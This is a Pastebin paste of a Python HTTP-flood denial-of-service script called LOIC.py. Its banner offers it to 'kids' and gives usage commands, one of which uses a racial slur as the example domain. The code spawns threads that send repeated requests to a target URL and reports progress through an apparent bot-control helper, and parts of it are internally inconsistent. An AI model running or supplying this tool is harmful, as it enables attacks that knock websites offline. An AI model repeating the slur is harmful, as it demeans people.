Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # __________________________________________
- # | _ ____ _____ _____ |
- # | | | / __ \_ _/ ____| |
- # | | | | | | || || | |
- # | | | | | | || || | |
- # | | |___| |__| || || |____ |
- # | |______\____/_____\_____| |
- # |__________________________________________|
- # | |
- # | Ever wondered what LOIC used to "DoS" |
- # | well me neither LOL |
- # | This was requested seven times so |
- # | i guess I went on a bounty to compile |
- # | the source. so you can be happy i guess? |
- # | LOIC was shitty, But i guess it was a |
- # | start for some of you kids ;3 |
- # | Just kidding but this is interesting. |
- # | just a simple python script can be |
- # | suprising "strong" |
- # | Have fun! |
- # |__________________________________________|
- # | _________________ |
- # | | C O M M A N D S | |
- # | python LOIC.py http://[host]/ [requests] |
- # | python LOIC.py http://nigger.com/ 10000 |
- # | python LOIC.py stop 0 |
- # |__________________________________________|
- import requests
- import time
- import threading
- import pythoncom
- import pyHook
- import utils
- import random
- import socket
- import sys
- import os
- import string
- from threading import Thread
- from urllib import urlopen
- from atexit import register
- from os import _exit
- from sys import stdout, argv
- def complete():
- utils.send_output("DDoS Complete.")
- def auto_send_request(server, number_of_requests=10):
- global inc
- global isDos
- requestsCheck = (requests - 1)
- for z in range(number_of_requests):
- try:
- if isDos == True:
- urlopen(server)
- stdout.write(".")
- inc = inc + 1
- if inc % 1000 == 0:
- utils.send_output("Requests: %s." % (inc))
- elif isDos == False:
- break
- except IOError:
- stdout.write("E")
- if inc >= requestsCheck:
- complete()
- def flood(url, number_of_requests = 1000, number_of_threads = 50):
- number_of_requests_per_thread = int(number_of_requests/number_of_threads)
- try:
- for x in range(number_of_threads):
- Thread(target=auto_send_request, args=(url, number_of_requests_per_thread)).start()
- except:
- stdout.write("\n[E]\n")
- print("\nDone %i requests on %s" % (number_of_requests, url))
- def run(action, num_req):
- global requests
- global inc
- global isDos
- inc = 0
- isDos = False
- if action != "stop":
- utils.send_output("DDoS Started.")
- isDos = True
- server = action
- requests = int(num_req)
- flood(server, requests)
- elif action == "stop":
- isDos = False
- utils.send_output('DDoS Stopped.')
- else:
- utils.send_output("Usage: python LOIC.py http://nigger.com/ 10000")
- def help():
- help_text = """
- Usage:
- python LOIC.py [host] [requests]
- python LOIC.py http://skiddo.com/ 10000
- python LOIC.py stop 0
- """
- return help_text
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement